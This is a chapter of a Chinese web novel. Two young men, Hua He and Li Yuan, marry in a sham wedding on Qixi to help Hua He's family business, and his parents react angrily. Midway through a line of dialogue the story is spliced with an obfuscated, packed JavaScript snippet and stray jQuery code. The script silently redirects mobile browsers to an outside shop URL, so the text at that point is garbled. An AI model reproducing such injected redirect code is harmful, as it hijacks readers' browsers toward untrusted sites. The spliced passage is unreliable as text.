这一觉睡得很香。

    没心没肺,呼呼大睡,做着美梦。

    梦里,他还是小孩子,到处疯跑,玩得浑身脏兮兮,跳着告诉妈妈:“我要去找栗子玩。”

    妈妈拿出手帕给他擦脸,说你脏兮兮的,栗子妈妈会讨厌你,栗子不会和你玩。

    他才不信,跑去找栗原。

    刚一出现,栗原就放下作业陪他玩。

    他拉着栗原的手去见妈妈,让栗原和妈妈保证,是自己最好的朋友,会一直喜欢自己一直和自己玩。

    栗原拉着他的手,一脸严肃说:“我要和贝贝做一辈子的好朋友。”

    妈妈哈哈大笑:“你们才多大,知道什么是一辈子吗。”

    小小的花贺说:“我当然知道。”

    一辈子那么短,他们那么快就长到二十岁,还是最好的朋友。

    当然就可以做一辈子的朋友。

    时光飞逝,一转头他们就变成了头发花白的老爷爷,还在一起玩。

    对着偶然遇到的小朋友说,我们是最好的朋友,我年轻的时候遇到困难,就是他一直在帮助我——

    醒了后回想这个梦,依旧心里暖暖的。

    花贺想,等到老了,他也要和栗原住同一家养老院。

    起床,洗漱。

    爸妈现在还没起床,花贺换好衣服,拿上手机,一溜烟跑出去。

    出了家门才发现栗原给他发消息。

    “别忘记身份证。”

    花贺还真没拿。

    他以为过了一晚上,栗原会后悔。

    可栗原没后悔,还特地提醒他。

    真是好兄弟。

    花贺又风风火火跑回去,找出身份证揣口袋里,再次如一阵风跑出去。

    栗原就坐在昨晚那条树下的长椅上。

    花贺跑过去,拍了下栗原的肩膀:“我来了,我们去吃什么?”

    栗原:“身份证拿了吗?”

    花贺掏出身份证:“当然。”

    栗原接过他的身份证,顺手放到自己口袋里:“我先拿着。”

    花贺今天穿了条粉色短裤,布料软薄,口袋也浅。他自己也怕会把身份证弄丢,看栗原收起自己的身份证,只觉得安心,说:“好啊。”

    栗原往外走,花贺跟着,问:“吃什么。”

    在思考要去吃那家店,到底吃什么。

    栗原:“吃便利店吧。”

    “也行,我要吃关东煮。吃小区门口那家?”

    “民政局旁边那家。”

    花贺:“真去啊?”

    栗原脚步停住,问他:“你不想吗?”

    花贺觉得怪怪的,但到底是自己占便宜,说不出奇怪在哪儿,只是说:“我怕你后悔嘛。”

    栗原:“没什么后悔的。”

    花贺转念一想。

    也是,反正会离婚的。

    所以也就不想了,跟上栗原:“那走吧。我饿死了。”

    栗原没说话。

    花贺跟着他走了两步,突然觉得没意思,跑了两步跳到栗原背上。

    栗原下意识接住他。

    花贺:“我饿晕了走不动,你背我。”

    栗原没松手也没让他滚,他就觉得自己好像在欺负栗原,又从栗原背上跳下来:“你今天怎么这么严肃。”

    栗原:“昨晚没睡好。”

    花贺就绕到他面前:“那我背你。”

    白色背心,单薄的肩背,白皙细瘦的小腿,跟刚长成的没有树皮的小树苗一样。

    栗原怕把他压坏。

    又知道不让他如意他是不会安静的。

    俯下身,趴在花贺背上。

    花贺费大劲拖着他走了几步,走不动把他丢到地上。

    终于满足了,开始念叨栗原又重了,絮絮叨叨间到了小区门口,拦了辆出租车。

    到了民政局。

    这里已经有人在排队了,男男女女男女都有,两两依偎在一起,看上去很甜蜜。

    花贺看了一眼,开始寻觅便利店,不理解:“这么多人啊,我以为现在都没人结婚了呢。”

    栗原没说话,倒是出租车司机笑道:“也就今天是七夕,来结婚的人多一点,平常日子都没人,都是来办离婚业务的。”

    今天居然还是七夕。

    花贺有些错愕。

    他问栗原:“你知道吗?”

    栗原:“我知道。”

    “你后悔了吗?”

    早上没拿身份证时,花贺是想过要不算了。但都拿了身份证也来到这里了。

    他说:“来都来了。”

    注意到民政局旁边的便利店,要拉栗原过去:“先吃饭吧,我真饿了。”

    栗原:“你去吧。”

    花贺:“你不吃?”

    栗原:“我排队。”

    栗原真仁义。

    哪怕是为了帮助自己,假装结婚,也都这么认真。

    花贺便自己去便利店,买了很多种类的食物,拿来,和栗原站在一起,一起吃。

    吃完又等一会儿,民政局门打开。

    他们涌进去,排队办手续。

    很快就轮到他们。

    把证件交上去。

    工作人员问:“没拿证件照吗?”

    栗原:“没有。”

    工作人员指了指一边的屋子:“先去拍照。”

    两人便走过去。

    花贺:“拍什么照片?”

    他才意识到,“结婚照吗?”

    栗原点头:“嗯。”

    花贺出门前根本没想到这么多,现在,看了看栗原身上的衬衣西裤,再看看自己身上的背心短裤,犹豫:“我穿这样不太好吧。”

    这样穿很舒服是没错,可是拍照太不端正了。虽然他和栗原结婚是假,可想到结婚证的照片上,栗原一本正经自己却这么挫,花贺就觉得自己被比下去了。

    他想要转头:“要不我们先不结婚,等我换好衣服再化个妆,就跟我们上次在写真馆照的那个一样,帅。”

    他们已经走到民政局拍照的地方了。

    栗原脚步没停,迈进去:“来都来了。”

    花贺看着他走进那扇门。

    咬牙也跟进去。

    算了,来都来了。而且栗子都走进去了,自己不跟反而把他再拉出来,多丢栗子的面子。

    不就是他很帅自己挫一点吗,就当是为了衬托兄弟。

    随便拍拍算了。

    反正也没人看。

    他跟着迈进去。

    七夕来领证的,都是感情很好的小情侣,为了结婚仔细准备过,都自己带了照片。

    来民政局照相的只有他们两个,工作人员很热情,指挥他们站到红底墙前。

    花贺还没准备好,但看栗原站上去,也就跟着站到栗原身边,调整着自己背心和短裤。

    看栗原身上的衬衣,还是羡慕:“等等,我要不先去借个衬衣……”

    栗原:“没关系。”

    拉住他整理衣服的手,轻声说,“你先笑。”

    ?

    花贺还没反应过来,先咧嘴笑起来。

    下一秒,闪光灯亮起。

    拍照的工作人员说:“好了。”

    ……

    这一次,他们很快拿到结婚证。

    出去时,两人都在看那个红本本。

    照片里,两个男生牵着手,身体向对方靠拢。穿背心的男生看向恋人,脸上挂着幸福洋溢的笑容。穿白衬衣的男生笑得不算明显,可脸上也净是愉悦。

    花贺:“帅是帅,但这个背心把我肩膀漏出来,显得我好受啊。”

    栗原也看着照片里的人。

    很帅。

    看上去,居然也像是相爱。

    =

    到家时,爸妈也起床了,在厨房一边做饭一边商量之后怎么办。

    花贺风风火火跑过去。

    爸爸问:“这么早干嘛去了。”

    花贺一个踉跄,裤兜里的结婚证有些烫手。

    支支吾吾犹豫怎么开口。

    爸爸说:“快

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974662|214726||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来吃早饭,吃完把你房间的东西收拾一下,明天我们找个货车,把东西先拉回老家。”

    花贺:“我吃过饭了。”

    爸爸了然:“刚刚是跟栗子去吃饭了?那你先回房间收拾东西吧。”

    花贺跟着爸爸去厨房,犹豫:“可以不用搬。”

    “栗子说他家会帮我们的。”

    这话一出,爸爸妈妈都看过来。

    眼神里先是惊喜,随后又冷静下来,两人摇头:“贝贝,栗子爸妈不会愿意的。”

    “我知道你们从小一起长大感情好,但是生意是生意,我们刚出问题时栗子爸妈会看到你们感情的份上帮助我们,可到了现在这一步,栗子爸妈就需要犹豫一下考虑价值了。”

    “我们现在没有价值,就更不能拿你们的感情当筹码。我相信栗子是真心的,你替我们去谢谢他。不过生意上的事,还是让大人来吧。”

    花贺就知道爸妈不会愿意的。

    他现在听爸妈这样说,也觉得自己不太好,所作所为就是在拿自己和栗子的感情,要挟栗子爸妈。

    有点后悔了。

    可证都领了。

    他嗫嚅:“我们已经想到办法了。”

    两口子第一次见大大咧咧的儿子露出这种表情,用这种语气说话,就知道花贺一定是想到了个烂主意。

    而且……想到归想到,如果只是想到,不用说出来就好,大概不会这么心虚。现在这样心虚地向他们坦白,大概率就是,已经实施了。

    可两个小孩子能想到什么办法,又能做出什么事呢?

    两口子纳闷:“什么办法?”

    在这一瞬间,想到了一些会出现在新闻里的事情。比如大半夜去公司偷公章,比如偷偷拿家里的大款存折,比如……

    就看到花贺从口袋里掏出一个红本本。

    花贺:“我们去结婚了。”

    “栗子说我们现在是一家人,他爸妈不会不管我们的。”

    他看到爸妈脸色一变。

    随后,妈妈操起锅铲,而爸爸开始环顾四周。

    花贺一惊,慌忙逃窜。

    ……

    十分钟后,一家人坐在客厅沙发上。

    花妈妈深呼吸,还在生气。花爸爸皱着眉,表情难看。

    花贺的背心已经被扯变形,后背叠着几个巴掌印,他等待着爸妈的发落。

    该骂的骂过了,该打也打过了,现在拿这本红彤彤的结婚证怎么办呢?

    爸妈无奈收拾烂摊子:“你现在给栗子打电话,让他和爸妈说一声,我们两家人吃顿饭。”

    花贺:“见家长吗?”

    妈妈反手又给他后背来了一巴掌:“道歉!再让你们把婚离了!”

    花贺缩缩后背,小声:“哦。”

    爸妈太生气,他都没好意思说,他们原本打算过两年就离婚的事了。

    在爸妈的注视下,他打电话给栗原,如此这番说了一下。

    说完,他妈被电话接过去,和对面栗原说了一通“谢谢但你还是小孩子不用做到这一步”之类的话,最后定下来,中午和栗原爸妈一起吃饭。

    说完,匆匆忙忙选餐厅,打电话定包间。

    转头看到花贺穿着破破烂烂的背心在沙发上抠指甲,凶他:“回你房间,换件能出门的衣服去。”

    花贺没觉得自己的衣服不能出门。背心是很正常的背心,短裤也是他精挑细选买的短裤。买的时候导购说了好多好话呢,说他皮肤白穿粉色更显白,说他腿细还直穿短裤好看……

    现在低头看看,说:“我的衣服怎么了。”

    拍照的时候站在穿衬衣的栗原身边是有点不合适,但正常出门见人没问题啊,栗原爸妈也不会在意的,他和栗原从小就认识,小时候在栗原家里弄湿衣服,栗原奶奶还给他换衣服呢。

    妈妈:“换个衬衣西裤。”

    “很热。”

    妈妈作势又要打他。

    花贺一溜烟跑了。

    这次妈妈没追,远远喊他:“换掉!下午去领离婚证。”